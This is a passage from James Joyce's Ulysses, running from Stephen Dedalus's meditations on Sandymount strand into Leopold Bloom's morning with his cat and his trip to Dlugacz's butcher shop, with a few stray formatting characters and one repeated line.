of dark +cunning nets; farther away chalkscrawled backdoors and on the higher beach +a dryingline with two crucified shirts. Ringsend: wigwams of brown +steersmen and master mariners. Human shells. + +He halted. I have passed the way to aunt Sara's. Am I not going +there? Seems not. No-one about. He turned northeast and crossed the +firmer sand towards the Pigeonhouse. + +--QUI VOUS A MIS DANS CETTE FICHUE POSITION? + +--C'EST LE PIGEON, JOSEPH. + +Patrice, home on furlough, lapped warm milk with me in the bar +MacMahon. Son of the wild goose, Kevin Egan of Paris. My father's a bird, +he lapped the sweet LAIT CHAUD with pink young tongue, plump bunny's face. +Lap, LAPIN. He hopes to win in the GROS LOTS. About the nature of women he +read in Michelet. But he must send me LA VIE DE JESUS by M. Leo Taxil. +Lent it to his friend. + +--C'EST TORDANT, VOUS SAVEZ. MOI, JE SUIS SOCIALISTE. JE NE CROIS PAS EN +L'EXISTENCE DE DIEU. FAUT PAS LE DIRE A MON P-RE. + +--IL CROIT? + +--MON PERE, OUI. + +SCHLUSS. He laps. + +My Latin quarter hat. God, we simply must dress the character. I +want puce gloves. You were a student, weren't you? Of what in the other +devil's name? Paysayenn. P. C. N., you know: PHYSIQUES, CHIMIQUES ET +NATURELLES. Aha. Eating your groatsworth of MOU EN CIVET, fleshpots of +Egypt, elbowed by belching cabmen. Just say in the most natural tone: +when I was in Paris; BOUL' MICH', I used to. Yes, used to carry punched +tickets to prove an alibi if they arrested you for murder somewhere. +Justice. On the night of the seventeenth of February 1904 the prisoner was +seen by two witnesses. Other fellow did it: other me. Hat, tie, overcoat, +nose. LUI, C'EST MOI. You seem to have enjoyed yourself. + +Proudly walking. Whom were you trying to walk like? Forget: a +dispossessed. With mother's money order, eight shillings, the banging door +of the post office slammed in your face by the usher. Hunger toothache. +ENCORE DEUX MINUTES. Look clock. Must get. FERME. Hired dog! Shoot him +to bloody bits with a bang shotgun, bits man spattered walls all brass +buttons. Bits all khrrrrklak in place clack back. Not hurt? O, that's all +right. Shake hands. See what I meant, see? O, that's all right. Shake a +shake. O, that's all only all right. + +You were going to do wonders, what? Missionary to Europe after +fiery Columbanus. Fiacre and Scotus on their creepystools in heaven spilt +from their pintpots, loudlatinlaughing: EUGE! EUGE! Pretending to speak +broken English as you dragged your valise, porter threepence, across the +slimy pier at Newhaven. COMMENT? Rich booty you brought back; LE TUTU, +five tattered numbers of PANTALON BLANC ET CULOTTE ROUGE; a blue +French telegram, curiosity to show: + +--Mother dying come home father. + +The aunt thinks you killed your mother. That's why she won't. + + + THEN HERE'S A HEALTH TO MULLIGAN'S AUNT + AND I'LL TELL YOU THE REASON WHY. + SHE ALWAYS KEPT THINGS DECENT IN + THE HANNIGAN FAMILEYE. + + +His feet marched in sudden proud rhythm over the sand furrows, +along by the boulders of the south wall. He stared at them proudly, piled +stone mammoth skulls. Gold light on sea, on sand, on boulders. The sun is +there, the slender trees, the lemon houses. + +Paris rawly waking, crude sunlight on her lemon streets. Moist pith of +farls of bread, the froggreen wormwood, her matin incense, court the air. +Belluomo rises from the bed of his wife's lover's wife, the kerchiefed +housewife is astir, a saucer of acetic acid in her hand. In Rodot's Yvonne +and Madeleine newmake their tumbled beauties, shattering with gold teeth +CHAUSSONS of pastry, their mouths yellowed with the PUS of FLAN BRETON. +Faces of Paris men go by, their wellpleased pleasers, curled +conquistadores. + +Noon slumbers. Kevin Egan rolls gunpowder cigarettes through +fingers smeared with printer's ink, sipping his green fairy as Patrice his +white. About us gobblers fork spiced beans down their gullets. UN DEMI +SETIER! A jet of coffee steam from the burnished caldron. She serves me at +his beck. IL EST IRLANDAIS. HOLLANDAIS? NON FROMAGE. DEUX IRLANDAIS, NOUS, +IRLANDE, VOUS SAVEZ AH, OUI! She thought you wanted a cheese HOLLANDAIS. +Your postprandial, do you know that word? Postprandial. There was a +fellow I knew once in Barcelona, queer fellow, used to call it his +postprandial. Well: SLAINTE! Around the slabbed tables the tangle of wined +breaths and grumbling gorges. His breath hangs over our saucestained +plates, the green fairy's fang thrusting between his lips. Of Ireland, the +Dalcassians, of hopes, conspiracies, of Arthur Griffith now, A E, +pimander, good shepherd of men. To yoke me as his yokefellow, our crimes +our common cause. You're your father's son. I know the voice. His fustian +shirt, sanguineflowered, trembles its Spanish tassels at his secrets. M. +Drumont, famous journalist, Drumont, know what he called queen +Victoria? Old hag with the yellow teeth. VIEILLE OGRESSE with the DENTS +JAUNES. Maud Gonne, beautiful woman, LA PATRIE, M. Millevoye, Felix +Faure, know how he died? Licentious men. The froeken, BONNE A TOUT FAIRE, +who rubs male nakedness in the bath at Upsala. MOI FAIRE, she said, TOUS +LES MESSIEURS. Not this MONSIEUR, I said. Most licentious custom. Bath a +most private thing. I wouldn't let my brother, not even my own brother, +most lascivious thing. Green eyes, I see you. Fang, I feel. Lascivious +people. + +The blue fuse burns deadly between hands and burns clear. Loose +tobaccoshreds catch fire: a flame and acrid smoke light our corner. Raw +facebones under his peep of day boy's hat. How the head centre got away, +authentic version. Got up as a young bride, man, veil, orangeblossoms, +drove out the road to Malahide. Did, faith. Of lost leaders, the betrayed, +wild escapes. Disguises, clutched at, gone, not here. + +Spurned lover. I was a strapping young gossoon at that time, I tell +you. I'll show you my likeness one day. I was, faith. Lover, for her love +he prowled with colonel Richard Burke, tanist of his sept, under the walls +of Clerkenwell and, crouching, saw a flame of vengeance hurl them upward +in the fog. Shattered glass and toppling masonry. In gay Paree he hides, +Egan of Paris, unsought by any save by me. Making his day's stations, the +dingy printingcase, his three taverns, the Montmartre lair he sleeps short +night in, rue de la Goutte-d'Or, damascened with flyblown faces of the +gone. Loveless, landless, wifeless. She is quite nicey comfy without her +outcast man, madame in rue Git-le-Coeur, canary and two buck lodgers. +Peachy cheeks, a zebra skirt, frisky as a young thing's. Spurned and +undespairing. Tell Pat you saw me, won't you? I wanted to get poor Pat a +job one time. MON FILS, soldier of France. I taught him to sing THE BOYS +OF KILKENNY ARE STOUT ROARING BLADES. Know that old lay? I taught Patrice +that. Old Kilkenny: saint Canice, Strongbow's castle on the Nore. Goes +like this. O, O. He takes me, Napper Tandy, by the hand. + + + O, O THE BOYS OF + KILKENNY ... + + +Weak wasting hand on mine. They have forgotten Kevin Egan, not he +them. Remembering thee, O Sion. + +He had come nearer the edge of the sea and wet sand slapped his +boots. The new air greeted him, harping in wild nerves, wind of wild air +of seeds of brightness. Here, I am not walking out to the Kish lightship, +am I? He stood suddenly, his feet beginning to sink slowly in the quaking +soil. Turn back. + +Turning, he scanned the shore south, his feet sinking again slowly in +new sockets. The cold domed room of the tower waits. Through the +barbacans the shafts of light are moving ever, slowly ever as my feet are +sinking, creeping duskward over the dial floor. Blue dusk, nightfall, deep +blue night. In the darkness of the dome they wait, their pushedback +chairs, my obelisk valise, around a board of abandoned platters. Who to +clear it? He has the key. I will not sleep there when this night comes. +A shut door of a silent tower, entombing their--blind bodies, the +panthersahib and his pointer. Call: no answer. He lifted his feet up from +the suck and turned back by the mole of boulders. Take all, keep all. My +soul walks with me, form of forms. So in the moon's midwatches I pace the +path above the rocks, in sable silvered, hearing Elsinore's tempting +flood. + +The flood is following me. I can watch it flow past from here. Get +back then by the Poolbeg road to the strand there. He climbed over the +sedge and eely oarweeds and sat on a stool of rock, resting his ashplant +in a grike. + +A bloated carcass of a dog lay lolled on bladderwrack. Before him the +gunwale of a boat, sunk in sand. UN COCHE ENSABLE Louis Veuillot called +Gautier's prose. These heavy sands are language tide and wind have silted +here. And these, the stoneheaps of dead builders, a warren of weasel rats. +Hide gold there. Try it. You have some. Sands and stones. Heavy of the +past. Sir Lout's toys. Mind you don't get one bang on the ear. I'm the +bloody well gigant rolls all them bloody well boulders, bones for my +steppingstones. Feefawfum. I zmellz de bloodz odz an Iridzman. + +A point, live dog, grew into sight running across the sweep of sand. +Lord, is he going to attack me? Respect his liberty. You will not be +master of others or their slave. I have my stick. Sit tight. From farther +away, walking shoreward across from the crested tide, figures, two. The +two maries. They have tucked it safe mong the bulrushes. Peekaboo. I see +you. No, the dog. He is running back to them. Who? + +Galleys of the Lochlanns ran here to beach, in quest of prey, their +bloodbeaked prows riding low on a molten pewter surf. Dane vikings, torcs +of tomahawks aglitter on their breasts when Malachi wore the collar of +gold. A school of turlehide whales stranded in hot noon, spouting, +hobbling in the shallows. Then from the starving cagework city a horde of +jerkined dwarfs, my people, with flayers' knives, running, scaling, +hacking in green blubbery whalemeat. Famine, plague and slaughters. Their +blood is in me, their lusts my waves. I moved among them on the frozen +Liffey, that I, a changeling, among the spluttering resin fires. I spoke +to no-one: none to me. + +The dog's bark ran towards him, stopped, ran back. Dog of my +enemy. I just simply stood pale, silent, bayed about. TERRIBILIA MEDITANS. +A primrose doublet, fortune's knave, smiled on my fear. For that are you +pining, the bark of their applause? Pretenders: live their lives. The +Bruce's brother, Thomas Fitzgerald, silken knight, Perkin Warbeck, York's +false scion, in breeches of silk of whiterose ivory, wonder of a day, and +Lambert Simnel, with a tail of nans and sutlers, a scullion crowned. All +kings' sons. Paradise of pretenders then and now. He saved men from +drowning and you shake at a cur's yelping. But the courtiers who mocked +Guido in Or san Michele were in their own house. House of ... We don't +want any of your medieval abstrusiosities. Would you do what he did? A +boat would be near, a lifebuoy. NATURLICH, put there for you. Would you or +would you not? The man that was drowned nine days ago off Maiden's rock. +They are waiting for him now. The truth, spit it out. I would want to. +I would try. I am not a strong swimmer. Water cold soft. When I put my +face into it in the basin at Clongowes. Can't see! Who's behind me? Out +quickly, quickly! Do you see the tide flowing quickly in on all sides, +sheeting the lows of sand quickly, shellcocoacoloured? If I had land under +my feet. I want his life still to be his, mine to be mine. A drowning man. +His human eyes scream to me out of horror of his death. I ... With him +together down ... I could not save her. Waters: bitter death: lost. + +A woman and a man. I see her skirties. Pinned up, I bet. + +Their dog ambled about a bank of dwindling sand, trotting, sniffing +on all sides. Looking for something lost in a past life. Suddenly he made +off like a bounding hare, ears flung back, chasing the shadow of a +lowskimming gull. The man's shrieked whistle struck his limp ears. He +turned, bounded back, came nearer, trotted on twinkling shanks. On a field +tenney a buck, trippant, proper, unattired. At the lacefringe of the tide +he halted with stiff forehoofs, seawardpointed ears. His snout lifted +barked at the wavenoise, herds of seamorse. They serpented towards his +feet, curling, unfurling many crests, every ninth, breaking, plashing, +from far, from farther out, waves and waves. + +Cocklepickers. They waded a little way in the water and, stooping, +soused their bags and, lifting them again, waded out. The dog yelped +running to them, reared up and pawed them, dropping on all fours, again +reared up at them with mute bearish fawning. Unheeded he kept by them as +they came towards the drier sand, a rag of wolf's tongue redpanting from +his jaws. His speckled body ambled ahead of them and then loped off at a +calf's gallop. The carcass lay on his path. He stopped, sniffed, stalked +round it, brother, nosing closer, went round it, sniffling rapidly like a +dog all over the dead dog's bedraggled fell. Dogskull, dogsniff, eyes on +the ground, moves to one great goal. Ah, poor dogsbody! Here lies poor +dogsbody's body. + +--Tatters! Out of that, you mongrel! + +The cry brought him skulking back to his master and a blunt bootless +kick sent him unscathed across a spit of sand, crouched in flight. He +slunk back in a curve. Doesn't see me. Along by the edge of the mole he +lolloped, dawdled, smelt a rock. and from under a cocked hindleg pissed +against it. He trotted forward and, lifting again his hindleg, pissed +quick short at an unsmelt rock. The simple pleasures of the poor. His +hindpaws then scattered the sand: then his forepaws dabbled and delved. +Something he buried there, his grandmother. He rooted in the sand, +dabbling, delving and stopped to listen to the air, scraped up the sand +again with a fury of his claws, soon ceasing, a pard, a panther, got in +spousebreach, vulturing the dead. + +After he woke me last night same dream or was it? Wait. Open +hallway. Street of harlots. Remember. Haroun al Raschid. I am almosting +it. That man led me, spoke. I was not afraid. The melon he had he held +against my face. Smiled: creamfruit smell. That was the rule, said. In. +Come. Red carpet spread. You will see who. + +Shouldering their bags they trudged, the red Egyptians. His blued +feet out of turnedup trousers slapped the clammy sand, a dull brick +muffler strangling his unshaven neck. With woman steps she followed: the +ruffian and his strolling mort. Spoils slung at her back. Loose sand and +shellgrit crusted her bare feet. About her windraw face hair trailed. +Behind her lord, his helpmate, bing awast to Romeville. When night hides +her body's flaws calling under her brown shawl from an archway where dogs +have mired. Her fancyman is treating two Royal Dublins in O'Loughlin's of +Blackpitts. Buss her, wap in rogues' rum lingo, for, O, my dimber wapping +dell! A shefiend's whiteness under her rancid rags. Fumbally's lane that +night: the tanyard smells. + + + WHITE THY FAMBLES, RED THY GAN + AND THY QUARRONS DAINTY IS. + COUCH A HOGSHEAD WITH ME THEN. + IN THE DARKMANS CLIP AND KISS. + + +Morose delectation Aquinas tunbelly calls this, FRATE PORCOSPINO. +Unfallen Adam rode and not rutted. Call away let him: THY QUARRONS DAINTY +IS. Language no whit worse than his. Monkwords, marybeads jabber on +their girdles: roguewords, tough nuggets patter in their pockets. + +Passing now. + +A side eye at my Hamlet hat. If I were suddenly naked here as I sit? I +am not. Across the sands of all the world, followed by the sun's flaming +sword, to the west, trekking to evening lands. She trudges, schlepps, +trains, drags, trascines her load. A tide westering, moondrawn, in her +wake. Tides, myriadislanded, within her, blood not mine, OINOPA PONTON, +a winedark sea. Behold the handmaid of the moon. In sleep the wet sign +calls her hour, bids her rise. Bridebed, childbed, bed of death, +ghostcandled. OMNIS CARO AD TE VENIET. He comes, pale vampire, through +storm his eyes, his bat sails bloodying the sea, mouth to her mouth's +kiss. + +Here. Put a pin in that chap, will you? My tablets. Mouth to her kiss. + +No. Must be two of em. Glue em well. Mouth to her mouth's kiss. + +His lips lipped and mouthed fleshless lips of air: mouth to her +moomb. Oomb, allwombing tomb. His mouth moulded issuing breath, +unspeeched: ooeeehah: roar of cataractic planets, globed, blazing, roaring +wayawayawayawayaway. Paper. The banknotes, blast them. Old Deasy's +letter. Here. Thanking you for the hospitality tear the blank end off. +Turning his back to the sun he bent over far to a table of rock and +scribbled words. That's twice I forgot to take slips from the library +counter. + +His shadow lay over the rocks as he bent, ending. Why not endless till +the farthest star? Darkly they are there behind this light, darkness +shining in the brightness, delta of Cassiopeia, worlds. Me sits there with +his augur's rod of ash, in borrowed sandals, by day beside a livid sea, +unbeheld, in violet night walking beneath a reign of uncouth stars. +I throw this ended shadow from me, manshape ineluctable, call it back. +Endless, would it be mine, form of my form? Who watches me here? Who ever +anywhere will read these written words? Signs on a white field. Somewhere +to someone in your flutiest voice. The good bishop of Cloyne took the veil +of the temple out of his shovel hat: veil of space with coloured emblems +hatched on its field. Hold hard. Coloured on a flat: yes, that's right. +Flat I see, then think distance, near, far, flat I see, east, back. Ah, +see now! Falls back suddenly, frozen in stereoscope. Click does the trick. +You find my words dark. Darkness is in our souls do you not think? +Flutier. Our souls, shamewounded by our sins, cling to us yet more, +a woman to her lover clinging, the more the more. + +She trusts me, her hand gentle, the longlashed eyes. Now where the blue +hell am I bringing her beyond the veil? Into the ineluctable modality +of the ineluctable visuality. She, she, she. What she? The virgin +at Hodges Figgis' window on Monday looking in for one of the alphabet +books you were going to write. Keen glance you gave her. Wrist through +the braided jesse of her sunshade. She lives in Leeson park with +a grief and kickshaws, a lady of letters. Talk that to someone else, +Stevie: a pickmeup. Bet she wears those curse of God stays suspenders +and yellow stockings, darned with lumpy wool. Talk about apple dumplings, +PIUTTOSTO. Where are your wits? + +Touch me. Soft eyes. Soft soft soft hand. I am lonely here. O, touch +me soon, now. What is that word known to all men? I am quiet here alone. +Sad too. Touch, touch me. + +He lay back at full stretch over the sharp rocks, cramming the +scribbled note and pencil into a pock his hat. His hat down on his eyes. +That is Kevin Egan's movement I made, nodding for his nap, sabbath sleep. +ET VIDIT DEUS. ET ERANT VALDE BONA. Alo! BONJOUR. Welcome as the flowers +in May. Under its leaf he watched through peacocktwittering lashes the +southing sun. I am caught in this burning scene. Pan's hour, the faunal +noon. Among gumheavy serpentplants, milkoozing fruits, where on the +tawny waters leaves lie wide. Pain is far. + +AND NO MORE TURN ASIDE AND BROOD. + +His gaze brooded on his broadtoed boots, a buck's castoffs, +NEBENEINANDER. He counted the creases of rucked leather wherein another's +foot had nested warm. The foot that beat the ground in tripudium, foot I +dislove. But you were delighted when Esther Osvalt's shoe went on you: +girl I knew in Paris. TIENS, QUEL PETIT PIED! Staunch friend, a brother +soul: Wilde's love that dare not speak its name. His arm: Cranly's arm. He +now will leave me. And the blame? As I am. As I am. All or not at all. + +In long lassoes from the Cock lake the water flowed full, covering +greengoldenly lagoons of sand, rising, flowing. My ashplant will float +away. I shall wait. No, they will pass on, passing, chafing against the +low rocks, swirling, passing. Better get this job over quick. Listen: a +fourworded wavespeech: seesoo, hrss, rsseeiss, ooos. Vehement breath of +waters amid seasnakes, rearing horses, rocks. In cups of rocks it slops: +flop, slop, slap: bounded in barrels. And, spent, its speech ceases. It +flows purling, widely flowing, floating foampool, flower unfurling. + +Under the upswelling tide he saw the writhing weeds lift languidly +and sway reluctant arms, hising up their petticoats, in whispering water +swaying and upturning coy silver fronds. Day by day: night by night: +lifted, flooded and let fall. Lord, they are weary; and, whispered to, +they sigh. Saint Ambrose heard it, sigh of leaves and waves, waiting, +awaiting the fullness of their times, DIEBUS AC NOCTIBUS INIURIAS PATIENS +INGEMISCIT. To no end gathered; vainly then released, forthflowing, +wending back: loom of the moon. Weary too in sight of lovers, lascivious +men, a naked woman shining in her courts, she draws a toil of waters. + +Five fathoms out there. Full fathom five thy father lies. At one, he +said. Found drowned. High water at Dublin bar. Driving before it a loose +drift of rubble, fanshoals of fishes, silly shells. A corpse rising +saltwhite from the undertow, bobbing a pace a pace a porpoise landward. +There he is. Hook it quick. Pull. Sunk though he be beneath the watery +floor. We have him. Easy now. + +Bag of corpsegas sopping in foul brine. A quiver of minnows, fat of a +spongy titbit, flash through the slits of his buttoned trouserfly. God +becomes man becomes fish becomes barnacle goose becomes featherbed +mountain. Dead breaths I living breathe, tread dead dust, devour a urinous +offal from all dead. Hauled stark over the gunwale he breathes upward the +stench of his green grave, his leprous nosehole snoring to the sun. + +A seachange this, brown eyes saltblue. Seadeath, mildest of all deaths +known to man. Old Father Ocean. PRIX DE PARIS: beware of imitations. Just +you give it a fair trial. We enjoyed ourselves immensely. + +Come. I thirst. Clouding over. No black clouds anywhere, are there? +Thunderstorm. Allbright he falls, proud lightning of the intellect, +LUCIFER, DICO, QUI NESCIT OCCASUM. No. My cockle hat and staff and hismy +sandal shoon. Where? To evening lands. Evening will find itself. + +He took the hilt of his ashplant, lunging with it softly, dallying still. +Yes, evening will find itself in me, without me. All days make their end. +By the way next when is it Tuesday will be the longest day. Of all the +glad new year, mother, the rum tum tiddledy tum. Lawn Tennyson, gentleman +poet. GIA. For the old hag with the yellow teeth. And Monsieur Drumont, +gentleman journalist. GIA. My teeth are very bad. Why, I wonder. Feel. +That one is going too. Shells. Ought I go to a dentist, I wonder, with +that money? That one. This. Toothless Kinch, the superman. Why is that, I +wonder, or does it mean something perhaps? + +My handkerchief. He threw it. I remember. Did I not take it up? + +His hand groped vainly in his pockets. No, I didn't. Better buy one. + +He laid the dry snot picked from his nostril on a ledge of rock, +carefully. For the rest let look who will. + +Behind. Perhaps there is someone. + +He turned his face over a shoulder, rere regardant. Moving through +the air high spars of a threemaster, her sails brailed up on the +crosstrees, homing, upstream, silently moving, a silent ship. + + + -- II -- + + +Mr Leopold Bloom ate with relish the inner organs of beasts and fowls. He +liked thick giblet soup, nutty gizzards, a stuffed roast heart, +liverslices fried with crustcrumbs, fried hencods' roes. Most of all he +liked grilled mutton kidneys which gave to his palate a fine tang of +faintly scented urine. + +Kidneys were in his mind as he moved about the kitchen softly, righting +her breakfast things on the humpy tray. Gelid light and air were in the +kitchen but out of doors gentle summer morning everywhere. Made him feel +a bit peckish. + +The coals were reddening. + +Another slice of bread and butter: three, four: right. She didn't like +her plate full. Right. He turned from the tray, lifted the kettle off the +hob and set it sideways on the fire. It sat there, dull and squat, its +spout stuck out. Cup of tea soon. Good. Mouth dry. The cat walked stiffly +round a leg of the table with tail on high. + +--Mkgnao! + +--O, there you are, Mr Bloom said, turning from the fire. + +The cat mewed in answer and stalked again stiffly round a leg of the +table, mewing. Just how she stalks over my writingtable. Prr. Scratch my +head. Prr. + +Mr Bloom watched curiously, kindly the lithe black form. Clean to see: +the gloss of her sleek hide, the white button under the butt of her tail, +the green flashing eyes. He bent down to her, his hands on his knees. + +--Milk for the pussens, he said. + +--Mrkgnao! the cat cried. + +They call them stupid. They understand what we say better than we +understand them. She understands all she wants to. Vindictive too. Cruel. +Her nature. Curious mice never squeal. Seem to like it. Wonder what I +look like to her. Height of a tower? No, she can jump me. + +--Afraid of the chickens she is, he said mockingly. Afraid of the +chookchooks. I never saw such a stupid pussens as the pussens. + +Cruel. Her nature. Curious mice never squeal. Seem to like it. + +--Mrkrgnao! the cat said loudly. + +She blinked up out of her avid shameclosing eyes, mewing plaintively and +long, showing him her milkwhite teeth. He watched the dark eyeslits +narrowing with greed till her eyes were green stones. Then he went to the +dresser, took the jug Hanlon's milkman had just filled for him, poured +warmbubbled milk on a saucer and set it slowly on the floor. + +--Gurrhr! she cried, running to lap. + +He watched the bristles shining wirily in the weak light as she tipped +three times and licked lightly. Wonder is it true if you clip them they +can't mouse after. Why? They shine in the dark, perhaps, the tips. Or +kind of feelers in the dark, perhaps. + +He listened to her licking lap. Ham and eggs, no. No good eggs with this +drouth. Want pure fresh water. Thursday: not a good day either for a +mutton kidney at Buckley's. Fried with butter, a shake of pepper. Better +a pork kidney at Dlugacz's. While the kettle is boiling. She lapped +slower, then licking the saucer clean. Why are their tongues so rough? To +lap better, all porous holes. Nothing she can eat? He glanced round him. +No. + +On quietly creaky boots he went up the staircase to the hall, paused by +the bedroom door. She might like something tasty. Thin bread and butter +she likes in the morning. Still perhaps: once in a way. + +He said softly in the bare hall: + +--I'm going round the corner. Be back in a minute. + +And when he had heard his voice say it he added: + +--You don't want anything for breakfast? + +A sleepy soft grunt answered: + +--Mn. + +No. She didn't want anything. He heard then a warm heavy sigh, softer, as +she turned over and the loose brass quoits of the bedstead jingled. Must +get those settled really. Pity. All the way from Gibraltar. Forgotten any +little Spanish she knew. Wonder what her father gave for it. Old style. +Ah yes! of course. Bought it at the governor's auction. Got a short +knock. Hard as nails at a bargain, old Tweedy. Yes, sir. At Plevna that +was. I rose from the ranks, sir, and I'm proud of it. Still he had brains +enough to make that corner in stamps. Now that was farseeing. + +His hand took his hat from the peg over his initialled heavy overcoat and +his lost property office secondhand waterproof. Stamps: stickyback +pictures. Daresay lots of officers are in the swim too. Course they do. +The sweated legend in the crown of his hat told him mutely: Plasto's high +grade ha. He peeped quickly inside the leather headband. White slip of +paper. Quite safe. + +On the doorstep he felt in his hip pocket for the latchkey. Not there. In +the trousers I left off. Must get it. Potato I have. Creaky wardrobe. No +use disturbing her. She turned over sleepily that time. He pulled the +halldoor to after him very quietly, more, till the footleaf dropped +gently over the threshold, a limp lid. Looked shut. All right till I come +back anyhow. + +He crossed to the bright side, avoiding the loose cellarflap of number +seventyfive. The sun was nearing the steeple of George's church. Be a +warm day I fancy. Specially in these black clothes feel it more. Black +conducts, reflects, (refracts is it?), the heat. But I couldn't go in +that light suit. Make a picnic of it. His eyelids sank quietly often as +he walked in happy warmth. Boland's breadvan delivering with trays our +daily but she prefers yesterday's loaves turnovers crisp crowns hot. +Makes you feel young. Somewhere in the east: early morning: set off at +dawn. Travel round in front of the sun, steal a day's march on him. Keep +it up for ever never grow a day older technically. Walk along a strand, +strange land, come to a city gate, sentry there, old ranker too, old +Tweedy's big moustaches, leaning on a long kind of a spear. Wander +through awned streets. Turbaned faces going by. Dark caves of carpet +shops, big man, Turko the terrible, seated crosslegged, smoking a coiled +pipe. Cries of sellers in the streets. Drink water scented with fennel, +sherbet. Dander along all day. Might meet a robber or two. Well, meet +him. Getting on to sundown. The shadows of the mosques among the pillars: +priest with a scroll rolled up. A shiver of the trees, signal, the +evening wind. I pass on. Fading gold sky. A mother watches me from her +doorway. She calls her children home in their dark language. High wall: +beyond strings twanged. Night sky, moon, violet, colour of Molly's new +garters. Strings. Listen. A girl playing one of those instruments what do +you call them: dulcimers. I pass. + +Probably not a bit like it really. Kind of stuff you read: in the track +of the sun. Sunburst on the titlepage. He smiled, pleasing himself. What +Arthur Griffith said about the headpiece over the FREEMAN leader: a +homerule sun rising up in the northwest from the laneway behind the bank +of Ireland. He prolonged his pleased smile. Ikey touch that: homerule sun +rising up in the north-west. + +He approached Larry O'Rourke's. From the cellar grating floated up the +flabby gush of porter. Through the open doorway the bar squirted out +whiffs of ginger, teadust, biscuitmush. Good house, however: just the end +of the city traffic. For instance M'Auley's down there: n. g. as +position. Of course if they ran a tramline along the North Circular from +the cattlemarket to the quays value would go up like a shot. + +Baldhead over the blind. Cute old codger. No use canvassing him for an +ad. Still he knows his own business best. There he is, sure enough, my +bold Larry, leaning against the sugarbin in his shirtsleeves watching the +aproned curate swab up with mop and bucket. Simon Dedalus takes him off +to a tee with his eyes screwed up. Do you know what I'm going to tell +you? What's that, Mr O'Rourke? Do you know what? The Russians, they'd +only be an eight o'clock breakfast for the Japanese. + +Stop and say a word: about the funeral perhaps. Sad thing about poor +Dignam, Mr O'Rourke. + +Turning into Dorset street he said freshly in greeting through the +doorway: + +--Good day, Mr O'Rourke. + +--Good day to you. + +--Lovely weather, sir. + +--'Tis all that. + +Where do they get the money? Coming up redheaded curates from the county +Leitrim, rinsing empties and old man in the cellar. Then, lo and behold, +they blossom out as Adam Findlaters or Dan Tallons. Then thin of the +competition. General thirst. Good puzzle would be cross Dublin without +passing a pub. Save it they can't. Off the drunks perhaps. Put down three +and carry five. What is that, a bob here and there, dribs and drabs. On +the wholesale orders perhaps. Doing a double shuffle with the town +travellers. Square it you with the boss and we'll split the job, see? + +How much would that tot to off the porter in the month? Say ten barrels +of stuff. Say he got ten per cent off. O more. Fifteen. He passed Saint +Joseph's National school. Brats' clamour. Windows open. Fresh air helps +memory. Or a lilt. Ahbeesee defeegee kelomen opeecue rustyouvee +doubleyou. Boys are they? Yes. Inishturk. Inishark. Inishboffin. At their +joggerfry. Mine. Slieve Bloom. + +He halted before Dlugacz's window, staring at the hanks of sausages, +polonies, black and white. Fifteen multiplied by. The figures whitened in +his mind, unsolved: displeased, he let them fade. The shiny links, packed +with forcemeat, fed his gaze and he breathed in tranquilly the lukewarm +breath of cooked spicy pigs' blood. + +A kidney oozed bloodgouts on the willowpatterned dish: the last. He stood +by the nextdoor girl at the counter. Would she buy it too, calling the +items from a slip in her hand? Chapped: washingsoda. And a pound and a +half of Denny's sausages. His eyes rested on her vigorous hips. Woods his +name is. Wonder what he does. Wife is oldish. New blood. No followers +allowed. Strong pair of arms. Whacking a carpet on the clothesline. She +does whack it, by George. The way her crooked skirt swings at each whack. + +The ferreteyed porkbutcher folded the sausages he had snipped off with +blotchy fingers, sausagepink. Sound meat there: like a stallfed heifer. + +He took a page up from the pile of cut sheets: the model farm at +Kinnereth on the lakeshore of Tiberias. Can become ideal winter +sanatorium. Moses Montefiore. I thought he was. Farmhouse, wall round it, +blurred cattle cropping. He held the page from him: interesting: read it +nearer, the title, the blurred cropping cattle, the page rustling. A +young white heifer. Those mornings in the cattlemarket, the beasts lowing +in their pens, branded sheep, flop and fall of dung, the breeders in +hobnailed boots trudging through the litter, slapping a palm on a +ripemeated hindquarter, there's a prime one, unpeeled switches in their +hands. He held the page aslant patiently, bending his senses and his +will, his soft subject gaze at rest. The crooked skirt swinging, whack by +whack by whack. + +The porkbutcher snapped two sheets from the pile, wrapped up her prime +sausages and made a red grimace. + +--Now, my miss, he said. + +She tendered a coin, smiling boldly, holding her thick wrist out. + +--Thank you, my miss. And one shilling threepence change. For you, +please? + +Mr Bloom pointed quickly. To catch up and walk behind her if she went +slowly, behind her moving hams. Pleasant to see first thing in the +morning. Hurry up, damn it. Make hay while the sun shines. She stood +outside the shop in sunlight and sauntered lazily to the right. He sighed +down his nose: they never understand. Sodachapped hands. Crusted toenails +too. Brown scapulars in tatters, defending her both ways. The sting of +disregard glowed to weak pleasure within his breast. For another: a +constable off duty cuddling her in Eccles lane. They like them sizeable. +Prime sausage. O please, Mr Policeman, I'm lost in the wood. + +--Threepence, please. + +His hand accepted the moist tender gland and slid it into a sidepocket. +Then it fetched up three coins from his trousers' pocket and laid them on +the rubber prickles. They lay, were read quickly and quickly slid, disc +by disc, into the till. + +--Thank you, sir. Another time. + +A speck of eager fire from foxeyes thanked him. He withdrew his gaze +after an instant. No: better not: another time. + +--Good morning, he said, moving away. + +--Good morning, sir. + +No sign. Gone. What matter? + +He walked back along Dorset street, reading gravely. Agendath Netaim: +planters' company. To purchase waste sandy tracts from Turkish government +and plant with eucalyptus trees. Excellent for shade, fuel and +construction. Orangegroves and immense melonfields north of Jaffa. You +pay eighty marks and they plant a dunam of land for you with olives, +oranges, almonds or citrons. Olives cheaper: oranges need artificial +irrigation. Every year you get a sending of the crop. Your name entered +for life as owner in the book of the union. Can pay ten down and the +balance in yearly instalments. Bleibtreustrasse 34, Berlin, W. 15. + +Nothing doing. Still an idea behind it. + +He looked at the cattle, blurred in silver heat. Silverpowdered +olivetrees. Quiet long days: pruning, ripening. Olives are packed in +jars, eh? I have a few left from Andrews. Molly spitting them out. Knows +the taste of them now. Oranges in tissue paper packed in crates. Citrons +too. Wonder is poor Citron still in Saint Kevin's parade. And Mastiansky +with the old cither. Pleasant evenings we had then. Molly in Citron's +basketchair. Nice to hold, cool waxen fruit, hold in the hand, lift it to +the nostrils and smell the perfume. Like that, heavy, sweet, wild +perfume. Always the same, year after year. They fetched high prices too, +Moisel told me. Arbutus place: Pleasants street: pleasant old times. Must +be without a flaw, he said. Coming all that way: Spain, Gibraltar, +Mediterranean, the Levant. Crates lined up on the quayside at Jaffa, chap +ticking them off in a book, navvies handling them barefoot in soiled +dungarees. There's whatdoyoucallhim out of. How do you? Doesn't see. Chap +you know just to salute bit of a bore. His back is like that Norwegian +captain's. Wonder if I'll meet him today. Watering cart. To provoke the +rain. On 